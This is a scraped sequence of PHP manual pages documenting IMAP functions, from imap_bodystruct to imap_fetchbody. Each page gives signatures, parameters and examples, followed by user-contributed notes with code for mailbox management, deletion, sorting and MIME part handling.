Read the structure of a specified body section of a specific message.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The body section to read

Return Values

Returns the information in an object, for a detailed description of the object structure and properties see imap_fetchstructure().

See Also

  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

php-dev(at)steffer(dot)dk 14-Sep-2002 07:43
Since I have gotten many request of my code I desided to write an article on attachment handling so tune in on:
http://www.linuxscope.net/articles/mailAttachmentsPHP.html

:-)
imap_body
imap_check
IMAP Functions


Check current mailbox

imap_bodystruct
imap_clearflag_full
IMAP Functions
PHP Manual

imap_check

(PHP 4, PHP 5)

imap_check — Check current mailbox

Description

object imap_check ( resource $imap_stream )

Checks information about the current mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns the information in an object with following properties:

  • Date - current system time formatted according to » RFC2822
  • Driver - protocol used to access this mailbox: POP3, IMAP, NNTP
  • Mailbox - the mailbox name
  • Nmsgs - number of messages in the mailbox
  • Recent - number of recent messages in the mailbox

Returns FALSE on failure.

Examples

Example #1 imap_check() example

<?php

$imap_obj = imap_check($imap_stream);
var_dump($imap_obj);

?>

The above example will output something similar to:

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

User Contributed Notes

JUNIOR TELLO 27-Jan-2006 06:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com 13-Dec-2005 07:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
28-Oct-2004 12:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com 18-Dec-2003 08:06
Running this on a mailbox will mark recent/new messages as checked.
imap_bodystruct
imap_clearflag_full
IMAP Functions


Clears flags on messages

imap_check
imap_close
IMAP Functions
PHP Manual

imap_clearflag_full

(PHP 4, PHP 5)

imap_clearflag_full — Clears flags on messages

Description

bool imap_clearflag_full ( resource $imap_stream , string $sequence , string $flag [, int $options = 0 ] )

This function causes a store to delete the specified flag to the flags set for the messages in the specified sequence.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A sequence of message numbers. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

flag

The flags which you can unset are "\\Seen", "\\Answered", "\\Flagged", "\\Deleted", and "\\Draft" (as defined by » RFC2060)

options

options are a bit mask and may contain the single option:

  • ST_UID - The sequence argument contains UIDs instead of sequence numbers

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_setflag_full() - Sets flags on messages

User Contributed Notes

Nohado 26-Aug-2010 07:41
I got a note that:

if u want to set a mail to "//Unseen", which not exists,
do it like this:

imap_clearflag_full($your_imap_connection,
$number_of_message,"//Seen");

but, remember to do
imap_close($imap, CL_EXPUNGE);
@ the END! so that it will be confirmed!

Cheers,
Nohado
Mark Hill 30-Jul-2009 03:36
Remember to specify your flags like '\\Seen' rather than "\\Seen".

Of course, flags are an IMAP feature, not a POP feature.

Resetting \\Seen works from PHP 4.3 works fine on the modern mail servers I've tested.
21-Nov-2005 09:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at 16-Jan-2003 05:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server
imap_check
imap_close
IMAP Functions


Close an IMAP stream

imap_clearflag_full
imap_create
IMAP Functions
PHP Manual

imap_close

(PHP 4, PHP 5)

imap_close — Close an IMAP stream

Description

bool imap_close ( resource $imap_stream [, int $flag = 0 ] )

Closes the imap stream.

Parameters

imap_stream

An IMAP stream returned by imap_open().

flag

If set to CL_EXPUNGE, the function will silently expunge the mailbox before closing, removing all messages marked for deletion. You can achieve the same thing by using imap_expunge()

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_open() - Open an IMAP stream to a mailbox

User Contributed Notes

There are no user contributed notes for this page.
imap_clearflag_full
imap_create
IMAP Functions


Alias of imap_createmailbox

imap_close
imap_createmailbox
IMAP Functions
PHP Manual

imap_create

(PHP 4, PHP 5)

imap_create — Alias of imap_createmailbox()

Description

This function is an alias of: imap_createmailbox().

User Contributed Notes

There are no user contributed notes for this page.
imap_close
imap_createmailbox
IMAP Functions


Create a new mailbox

imap_create
imap_delete
IMAP Functions
PHP Manual

imap_createmailbox

(PHP 4, PHP 5)

imap_createmailbox — Create a new mailbox

Description

bool imap_createmailbox ( resource $imap_stream , string $mailbox )

Creates a new mailbox specified by mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information. Names containing international characters should be encoded by imap_utf7_encode()

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imap_createmailbox() example

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
     or die("can't connect: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewböx"); // phpnewb&w7Y-x

$newname = $name1;

echo "Newname will be '$name1'<br />\n";

// we will now create a new mailbox "phptestbox" in your inbox folder,
// check its status after creation and finaly remove it to restore
// your inbox to its initial state

if (@imap_createmailbox($mbox, imap_utf7_encode("{imap.example.org}INBOX.$newname"))) {
    $status = @imap_status($mbox, "{imap.example.org}INBOX.$newname", SA_ALL);
    if ($status) {
        echo "your new mailbox '$name1' has the following status:<br />\n";
        echo "Messages:   " . $status->messages    . "<br />\n";
        echo "Recent:     " . $status->recent      . "<br />\n";
        echo "Unseen:     " . $status->unseen      . "<br />\n";
        echo "UIDnext:    " . $status->uidnext     . "<br />\n";
        echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";

        if (imap_renamemailbox($mbox, "{imap.example.org}INBOX.$newname", "{imap.example.org}INBOX.$name2")) {
            echo "renamed new mailbox from '$name1' to '$name2'<br />\n";
            $newname = $name2;
        } else {
            echo "imap_renamemailbox on new mailbox failed: " . imap_last_error() . "<br />\n";
        }
    } else {
        echo "imap_status on new mailbox failed: " . imap_last_error() . "<br />\n";
    }

    if (@imap_deletemailbox($mbox, "{imap.example.org}INBOX.$newname")) {
        echo "new mailbox removed to restore initial state<br />\n";
    } else {
        echo "imap_deletemailbox on new mailbox failed: " . implode("<br />\n", imap_errors()) . "<br />\n";
    }

} else {
    echo "could not create new mailbox: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

See Also

  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_deletemailbox() - Delete a mailbox

User Contributed Notes

tiznull 20-Mar-2009 11:44
One should understand that even though it says "create mailbox", you are really creating a FOLDER. Now, as a imap admin you can create mailboxes and more with this function.

So in reality, you are always creating folders when creating "mailboxes". Mail admin's get this, but programmers may not understand the concept completely.

If you auth a single user account and use these functions, they will not create mailboxes where mail is delivered, they will actually create a folder where you can copy messages to.

Here is a translation:
imap_createmailbox = create a folder in the account for the current authenticated user's imap session (imap_open)
imap_deletemailbox = delete a folder (and the email in it) for the current authenticated user's imap session (imap_open)
imap_getmailboxes = get all your folders for the current authenticated user's imap session (imap_open)
imap_renamemailbox = Rename a folder for the current authenticated user's imap session (imap_open)

================

Here is a quick class to login to an account, generate all of your base folders, and return the connection, success message and returns all the base folders for an imap account using PHP5:

<?php

class Imap {
    public $folders;
    public $connection;

    public function login($user, $pass) {
        $mbox = @imap_open("{imap.example.org:143}", $user, $pass);
        if(!$mbox)
            return ('Your login failed for user <strong>'.$user.'</strong>. Please try to enter your username and password again.<br />');

        // Login worked, let us begin!!!!....

        // gather folder lost...
        $fldrs_made = 0;
        $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
        // create the default folders....
        if(1 === mailgui::create_default_folders($mbox,$folders)) {
            $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
            $fldrs_made = 1;
        }

        sort($folders);

        $this->folders = $folders;
        $this->connection = $mbox;

        if(1 === $fldrs_made)
            return ('User logged in successfully as '.$user.'. This is your first time logging in, welcome to our webmail!!!<br />');
        else
            return ('User logged in successfully as '.$user.'.<br />');
    }
    private function create_default_folders($imap_stream, $folders) {
        $change=0;
        if(!in_array('{imap.example.org}TRASH',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}TRASH"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SPAM',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SPAM"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}DRAFTS"));
            $change=1;
        }
        if(!in_array('{imap.example.org}MY_FOLDERS',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}PERSONAL EMAIL"));
            $change=1;
        }
        return $change;
    }
    public function close_mail_connection() {
        @imap_close($this->connection);
    }
}

// usage, create a form, post it....
if($_POST['imap_username'] && $_POST['imap_password']) {
    $imap_login = new Imap();
    $imap_login->login($_POST['imap_username'],$_POST['imap_password']);

    // Do some mail stuff here, like get headers...., use obj connection
    $message_headers = imap_mailboxmsginfo($imap_login->connection);

    // show the folders....
    print_r($imap_login->folders, true);

    print '<br /><hr size="1" noshade />';

    print_r($message_headers, true);

    // close the connection
    $imap_login->close_mail_connection();
}

?>
imap_create
imap_delete
IMAP Functions


Mark a message for deletion from current mailbox

imap_createmailbox
imap_deletemailbox
IMAP Functions
PHP Manual

imap_delete

(PHP 4, PHP 5)

imap_delete — Mark a message for deletion from current mailbox

Description

bool imap_delete ( resource $imap_stream , int $msg_number [, int $options = 0 ] )

Marks messages listed in msg_number for deletion. Messages marked for deletion will stay in the mailbox until either imap_expunge() is called or imap_close() is called with the optional parameter CL_EXPUNGE.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

options

You can set the FT_UID which tells the function to treat the msg_number argument as an UID.

Return Values

Returns TRUE.

Examples

Example #1 imap_delete() example

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
    or die("Can't connect: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Messages before delete: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after  delete: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Messages after expunge: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

Notes

Note:

IMAP mailboxes do not have their message flags saved between connections, so imap_expunge() must be called during the same connection in order for messages marked for deletion to actually be purged.

See Also

  • imap_undelete() - Unmark the message which is marked deleted
  • imap_expunge() - Delete all messages marked for deletion
  • imap_close() - Close an IMAP stream

User Contributed Notes

thisemailaddress at gmail dot com 23-Sep-2009 10:48
In case you feel the need to kill all emails from before a certain year on your Gmail account, this would work:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

echo "parsing ini file...\n";
$ini = parse_ini_file('g.ini');
$user = $ini['user'];
$pass = $ini['pass'];
$year = $ini['year'];
echo "account {$user} - killing msgs from before {$year}\n\n";

echo "connecting...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");

echo "checking current mailbox...\n";
$mbox = imap_check($imap);

echo "fetching overview...\n";
$flaggedForDelete = 0;
for($n = 0; $n < $mbox->Nmsgs; $n++) {
    echo "processing {$n} of {$mbox->Nmsgs}...\r";
    $hdr = imap_fetchheader($imap, $n);
    preg_match('/^Date: (.*?)$/m', $hdr, $matches);
    $date = date_parse(strtotime($matches[1]));
    if($date['year'] < $year) {
        imap_delete($imap, $msg->msgno);
        $flaggedForDelete++;
    }
}

echo "expunging mailbox ({$flaggedForDelete} messages flagged)... ";
echo ((imap_expunge($imap)) ? "ok" : "failed!")."\n";
imap_close($imap);

?>
Alex 23-Apr-2009 12:00
I think you don't have to give a range to imap_delete() if you want to delete a single one.

This works well:

<?php

imap_delete($conn,trim($msgno));

?>
chris at financialservicesonline dot com dot au 28-Jan-2009 03:54
After a little experimentation i found out how to mark a single message for deletion...

<?php

$msgid = '5'; //For example

imap_delete($mbox, "$msgid:$msgid");

?>

imap_delete() seems to want a range, so to select one, simply range from your id to your id.

Hope this helps.
iwantsimplelife at lycos dot com 12-Jan-2009 01:40
Somehow, when ever I try to delete an email using the message number returned by imap_header, any email with a message number below 999 will fail.

I discovered that the imap_header will pad the message number with spaces. You will need to trim the number before calling imap_delete.

I am using qmail and it took me over a month to figure it out.

Hope this will be helpful to some poor soul out there facing the same problem.
jacky at jackyhome dot myvnc dot com 09-Nov-2003 01:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');   // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G 09-Apr-2003 09:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

    imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)
imap_createmailbox
imap_deletemailbox
IMAP Functions


Delete a mailbox

imap_delete
imap_errors
IMAP Functions
PHP Manual

imap_deletemailbox

(PHP 4, PHP 5)

imap_deletemailbox — Delete a mailbox

Description

bool imap_deletemailbox ( resource $imap_stream , string $mailbox )

Deletes the specified mailbox.

Parameters

imap_stream

An IMAP stream returned by imap_open().

mailbox

The mailbox name, see imap_open() for more information

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • imap_createmailbox() - Create a new mailbox
  • imap_renamemailbox() - Rename an old mailbox to new mailbox
  • imap_open() - Open an IMAP stream to a mailbox for the format of mbox

User Contributed Notes

sanin at kset dot org 10-Oct-2006 08:27
When deleting user account(s) from IMAP server don't forget to put full server name and port. Also need to be logged as IMAP admin and set ACL.
This worked for Cyrus:

<?php
//Credentials
$cyrusadmin_username="cyrus";
$cyrusadmin_password="cyruspassword";
$cyrus_serverip="fellowship.ring.net";

//User to delete
$username="frodoBaggins";

//Open the connection to IMAP server (Cyrus)
   $mbox=imap_open("{".$serverip.":143}",$cyrusadmin_username, $cyrusadmin_password, OP_HALFOPEN)
            or die('IMAP Could not connect because '.imap_last_error());
//Set ACL - Give rights to $cyrusadmin_username to delete mailbox
   imap_setacl ($mbox, "user.".$username, $cyrusadmin_username, "lrswipcda")
            or die('Could not setacl on mailbox');
//Delete mailbox
   imap_deletemailbox($mbox,"{".$serverip.":143}user.".$username)
            or die('Could not delete mailbox');
?>
kenstumpf<a>hotmail.com 08-Jan-2004 12:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.
imap_delete
imap_errors
IMAP Functions


Returns all of the IMAP errors that have occured

imap_deletemailbox
imap_expunge
IMAP Functions
PHP Manual

imap_errors

(PHP 4, PHP 5)

imap_errors — Returns all of the IMAP errors that have occured

Description

array imap_errors ( void )

Gets all of the IMAP errors (if any) that have occurred during this page request or since the error stack was reset.

When imap_errors() is called, the error stack is subsequently cleared.

Return Values

This function returns an array of all of the IMAP error messages generated since the last imap_errors() call, or the beginning of the page. Returns FALSE if no error messages are available.

See Also

  • imap_last_error() - Gets the last IMAP error that occurred during this page request
  • imap_alerts() - Returns all IMAP alert messages that have occurred

User Contributed Notes

Jeremy Glover 03-Apr-2007 11:41
When calling imap_close($mbox), notices will be generated for each error that has occurred within the imap functions.  To suppress these error messages (including Mailbox is empty, which is not really an error) simply call imap_errors() and then imap_close($mbox).
imap_deletemailbox
imap_expunge
IMAP Functions


Delete all messages marked for deletion

imap_errors
imap_fetch_overview
IMAP Functions
PHP Manual

imap_expunge

(PHP 4, PHP 5)

imap_expunge — Delete all messages marked for deletion

Description

bool imap_expunge ( resource $imap_stream )

Deletes all the messages marked for deletion by imap_delete(), imap_mail_move(), or imap_setflag_full().

Parameters

imap_stream

An IMAP stream returned by imap_open().

Return Values

Returns TRUE.

User Contributed Notes

boswachter at xs4all dot nl 12-Jan-2006 07:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.
imap_errors
imap_fetch_overview
IMAP Functions


Read an overview of the information in the headers of the given message

imap_expunge
imap_fetchbody
IMAP Functions
PHP Manual

imap_fetch_overview

(PHP 4, PHP 5)

imap_fetch_overview — Read an overview of the information in the headers of the given message

Description

array imap_fetch_overview ( resource $imap_stream , string $sequence [, int $options = 0 ] )

This function fetches mail headers for the given sequence and returns an overview of their contents.

Parameters

imap_stream

An IMAP stream returned by imap_open().

sequence

A message sequence description. You can enumerate desired messages with the X,Y syntax, or retrieve all messages within an interval with the X:Y syntax

options

sequence will contain a sequence of message indices or UIDs, if this parameter is set to FT_UID.

Return Values

Returns an array of objects describing one message header each. The object will only define a property if it exists. The possible properties are:

  • subject - the messages subject
  • from - who sent it
  • to - recipient
  • date - when was it sent
  • message_id - Message-ID
  • references - is a reference to this message id
  • in_reply_to - is a reply to this message id
  • size - size in bytes
  • uid - UID the message has in the mailbox
  • msgno - message sequence number in the mailbox
  • recent - this message is flagged as recent
  • flagged - this message is flagged
  • answered - this message is flagged as answered
  • deleted - this message is flagged for deletion
  • seen - this message is flagged as already read
  • draft - this message is flagged as being a draft

Examples

Example #1 imap_fetch_overview() example

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password")
     or die("can't connect: " . imap_last_error());

$MC = imap_check($mbox);

// Fetch an overview for all messages in INBOX
$result = imap_fetch_overview($mbox,"1:{$MC->Nmsgs}",0);
foreach ($result as $overview) {
    echo "#{$overview->msgno} ({$overview->date}) - From: {$overview->from}
    {$overview->subject}\n";
}
imap_close($mbox);
?>

See Also

  • imap_fetchheader() - Returns header for a message

User Contributed Notes

thinice at gmail dot com 06-Apr-2011 05:31
Hopefully someone will find this a jumpstarter for a sortable, paginated list:

<?php
public function listMessages($nStart=0, $nCnt=10) {

    if (!$this->loaded) {
        return NULL;
    }

    if (($nStart+$nCnt) > $this->getNum()) {
        $nCnt = $this->getNum()-$nStart;
    }

    $aMsgs = imap_fetch_overview($this->rCon, ($nStart+1).':'.($nStart+$nCnt));
    $aRet = array();
    if ($aMsgs) {
        foreach ($aMsgs as $msg) {
            $aRet[$msg->udate] = $msg;
        }
    }

    krsort($aRet);

    var_dump($aRet);
}
?>
will 20-Jun-2009 09:43
This seems to retrieve incomplete values for headers, instead of getting the entire value, it gets the first. for example, this is a valid To: header

To: foo1@example.com,foo2@example.com
     foo3@example.com

but imap_fetch_overview will only return:
foo1@example.com
Ben 25-Jan-2009 05:12
Just a quick note, in case anyone else has this trouble.

Remeber that imap_fetch_overview returns an array! So even if you call it for only one message, you'll still need to pick out the first element.

<?php

// fetch overview:
$overview = imap_fetch_overview($handle, $uid, FT_UID);

// echo out, e.g., from field:
echo htmlspecialchars($overview[0]->from);
//                             ^^^ note the index!

?>

It may seem like a stupid error, but I spent a good half hour wondering why it wasn't working until I var_dump'ed $overview.
dognose 16-Jan-2009 09:15
That's right:

calling imap_fetch_overview() once is faster, than calling it
in a loop.

But if you want to get a "day sorted" list, you need to call it in a loop, cause if you enter a "string" of UIDs, they are always sorted by UID, not by the order you entered it.

Heres a little example how to get a date-sorted list:

<?php
/*Sort all msgs by Arrival Date. Newest = 0, oldest = Array Count*/
/*returns an array, containing the UIDs of messages*/
$SortedArray = imap_sort($Handle,SORTARRIVAL,1,SE_UID);

For ($i = $Start; $i< $Start + $Limit; $i++){
      /*Read UID from Sorted Array*/
      $UID = $SortedArray[$i];

      /*Get Detailed MSG Infos*/
      $Overview = imap_fetch_overview($Handle, $UID, FT_UID);

      [...]
}
?>
xhack at web dot de 20-Mar-2007 07:05
you want a sortet list of mails, but you get always the same order? your c-client seems to cause this. i realized this with linux libc6-2.3.6 and php-5.2.0

try this little code:

# here you try to sort by your criteria
$sort=@imap_sort($mbox,SORTDATE,1,SE_UID);

# here the order of the messages to fetch should be recognised, but it isn't

$tmp=@imap_fetch_overview($mbox,implode(',',$sort),FT_UID);
# so try to work around simply:
for($i=0;$i<count($tmp);$i++)
{ $liste[$i]=$tmp[array_search($tmp[$i]->uid,$sort)]; }

so now you can use the sort by date, address, and so on.
raja at aonic dot net 14-Mar-2007 11:22
Here is a function to get messages from IMAP and sort them for pagination.

<?php
    /**
     * Return array of IMAP messages for pagination
     *
     * @param   int     $page       page number to get
     * @param   int     $per_page   number of results per page
     * @param   array   $sort       array('subject', 'asc') etc
     *
     * @return  mixed   array containing imap_fetch_overview, pages, and total rows if successful, false if an error occurred
     * @author  Raja K
     */
    public function listMessages($page = 1, $per_page = 25, $sort = null) {
        $limit = ($per_page * $page);
        $start = ($limit - $per_page) + 1;
        $start = ($start < 1) ? 1 : $start;
        $limit = (($limit - $start) != ($per_page-1)) ? ($start + ($per_page-1)) : $limit;
        $info = imap_check($this->_imap_stream);
        $limit = ($info->Nmsgs < $limit) ? $info->Nmsgs : $limit;

        if(true === is_array($sort)) {
            $sorting = array(
                        'direction' => array(   'asc' => 0,
                                                'desc' => 1),

                        'by'        => array(   'date' => SORTDATE,
                                                'arrival' => SORTARRIVAL,
                                                'from' => SORTFROM,
                                                'subject' => SORTSUBJECT,
                                                'size' => SORTSIZE));
            $by = (true === is_int($by = $sorting['by'][$sort[0]]))
                            ? $by
                            : $sorting['by']['date'];
            $direction = (true === is_int($direction = $sorting['direction'][$sort[1]]))
                            ? $direction
                            : $sorting['direction']['desc'];

            $sorted = imap_sort($this->_imap_stream, $by, $direction);

            $msgs = array_chunk($sorted, $per_page);
            $msgs = $msgs[$page-1];
        }
        else
            $msgs = range($start, $limit); //just to keep it consistent

        $result = imap_fetch_overview($this->_imap_stream, implode($msgs, ','), 0);
        if(false === is_array($result)) return false;

        //sorting!
        if(true === is_array($sorted)) {
            $tmp_result = array();
            foreach($result as $r)
                $tmp_result[$r->msgno] = $r;

            $result = array();
            foreach($msgs as $msgno) {
                $result[] = $tmp_result[$msgno];
            }
        }

        $return = array('res' => $result,
                        'start' => $start,
                        'limit' => $limit,
                        'sorting' => array('by' => $sort[0], 'direction' => $sort[1]),
                        'total' => imap_num_msg($this->_imap_stream));
        $return['pages'] = ceil($return['total'] / $per_page);
        return $return;
    }
?>
Group-Office Developer 09-Apr-2004 05:21
About the sequence sorting again.
I've found that there's a significant speed improvement by preparing the sequence and then fetch them at once with large mailboxes. On small mailboxes wyou will not notice a speed difference.

But then there's the sorting problem. I've spent all night fiuring out how to do this myself. I found the solution!

Prepare an array of messages with imap_sort. Create a second array that maps the message numbers to the actuall place in the fetched array.
You know it will be in numeric order so you can make an array map with the sort() function sorting it from high to low.
Then you can proces the array fetched with imap_fetch_overview with the array_map and you will have them sorted. If you need an example look in the Group-Office code classes/imap.class.inc in a version later then 2.04.
mails at slueoend dot ch 14-Dec-2003 04:15
Not that this function and all other imap_fetch*-functions will download the whole message and not just the header information.
se at designlinks dot net 02-Jul-2003 06:42
To further explain 'warrenfalk's comment, the following sequences are exactly the same, and always returns messages with lowest UID to highest UID:

1:5
5:1
1,2,3,4,5
5,4,3,2,1
3,2,5,1,4

(always returned as 1,2,3,4,5)
suurenbroekNoSpam at ov35 dot NoSpam dot nl 14-Oct-2002 04:34
Note that these object-variables only exist when they are actually in the mail.

This means that if a mail has no subject, the property $val->subject will not exist.

Calling $val->subject will generate an notice:
Notice: Undefined property: subject in /home/html/inc/Mbox.php on line xxx

Use this to check it:
if (array_key_exists( "subject", get_object_vars($val)))
   $subj=$val->subject;
else
   $subj="";
trionon at mail dot ru 25-Feb-2002 10:13
This performance hint is useful if you need to print the result of imap_sort():

It's faster to prepare large string with UIDs and then to call imap_fetchoverview once than calling imap_fetchoverview in a loop.
steve at stevenchalker dot net 09-Nov-2001 08:26
I think if you go like a list, you can list your "hotmail" messages.
<?php
$mbox=imap_open("{imap.server.com}","user","pass");
$MC=imap_check($mbox);
$MN=$MC->Nmsgs;
$overview=imap_fetch_overview($mbox,"1:$MN",0);
$size=sizeof($overview);
for($i=$size-1;$i>=0;$i--){
$val=$overview[$i];
$msg=$val->msgno;
$from=$val->from;
$date=$val->date;
$subj=$val->subject;
echo "#$msg: From:'$from' Date:'$date' Subject:'$subj'<BR>";
imap_close($mbox);
?>
imap_expunge
imap_fetchbody
IMAP Functions


Fetch a particular section of the body of the message

imap_fetch_overview
imap_fetchheader
IMAP Functions
PHP Manual

imap_fetchbody

(PHP 4, PHP 5)

imap_fetchbody — Fetch a particular section of the body of the message

Description

string imap_fetchbody ( resource $imap_stream , int $msg_number , string $section [, int $options = 0 ] )

Fetch of a particular section of the body of the specified messages. Body parts are not decoded by this function.

Parameters

imap_stream

An IMAP stream returned by imap_open().

msg_number

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

options

A bitmask with one or more of the following:

  • FT_UID - The msg_number is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

Return Values

Returns a particular section of the body of the specified messages as a text string.

See Also

  • imap_savebody() - Save a specific body section to a file
  • imap_fetchstructure() - Read the structure of a particular message

User Contributed Notes

arkop at hotmail dot fr 21-Dec-2011 02:43
Here is a function to display the accents well when retrieving the contents of an email (gmail) :

<?php
function ReplaceImap($txt) {
  $carimap = array("=C3=A9", "=C3=A8", "=C3=AA", "=C3=AB", "=C3=A7", "=C3=A0", "=20", "=C3=80", "=C3=89");
  $carhtml = array("é", "è", "ê", "ë", "ç", "à", "&nbsp;", "À", "É");
  $txt = str_replace($carimap, $carhtml, $txt);

  return $txt;
}

$mbox = imap_open("{imap.gmail.com:993/imap/ssl}INBOX", "login", "pass");
$no = 5; // Mail to show (mail number)

$text = imap_fetchbody($mbox, $no, 1);
$text = imap_utf8($text);
$text = ReplaceImap($text);
$text = nl2br($text);

echo $text;
?>

I hope it will help ;)

(Sorry for my english, i'm french)
atamido at gmail dot remove dot com 03-Oct-2009 11:32
The previous post contains a copy/paste error and a little added complexity.  The first function should look like this:

<?php
function create_part_array($struct) {
    if (sizeof($struct->parts) > 0) {    // There some sub parts
        foreach ($struct->parts as $count => $part) {
            add_part_to_array($part, ($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
        $part_array[] = array('part_number' => '1', 'part_object' => $struct);
    }
   return $part_array;
}
?>
atamido at gmail dot remove dot com 17-Feb-2009 10:54
imap-fetchbody() will decode attached email messages inline with the rest of the email parts, however the way it works when handling attached email messages is inconsistent with the main email message.

With an email message that only has a text body and does not have any mime attachments, imap-fetchbody() will return the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - Body text

With an email message that is a multi-part message in MIME format, and contains the message text in plain text and HTML, and has a file.ext attachment, imap-fetchbody() will return something like the following for each requested part number:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - file.ext

Now if you attach the above email to an email with the message text in plain text and HTML, imap_fetchbody() will use this type of part number system:

(empty) - Entire message
0 - Message header
1 - MULTIPART/ALTERNATIVE
1.1 - TEXT/PLAIN
1.2 - TEXT/HTML
2 - MESSAGE/RFC822 (entire attached message)
2.0 - Attached message header
2.1 - TEXT/PLAIN
2.2 - TEXT/HTML
2.3 - file.ext

Note that the file.ext is on the same level now as the plain text and HTML, and that there is no way to access the MULTIPART/ALTERNATIVE in the attached message.

Here is a modified version of some of the code from previous posts that will build an easily accessible array that includes accessible attached message parts and the message body if there aren't multipart mimes.  The $structure variable is the output of the imap_fetchstructure() function.  The returned $part_array has the field 'part_number' which contains the part number to be fed directly into the imap_fetchbody() function.

<?php
function create_part_array($structure, $prefix="") {
    //print_r($structure);
    if (sizeof($structure->parts) > 0) {    // There some sub parts
        foreach ($structure->parts as $count => $part) {
            add_part_to_array($part, $prefix.($count+1), $part_array);
        }
    }else{    // Email does not have a seperate mime attachment for text
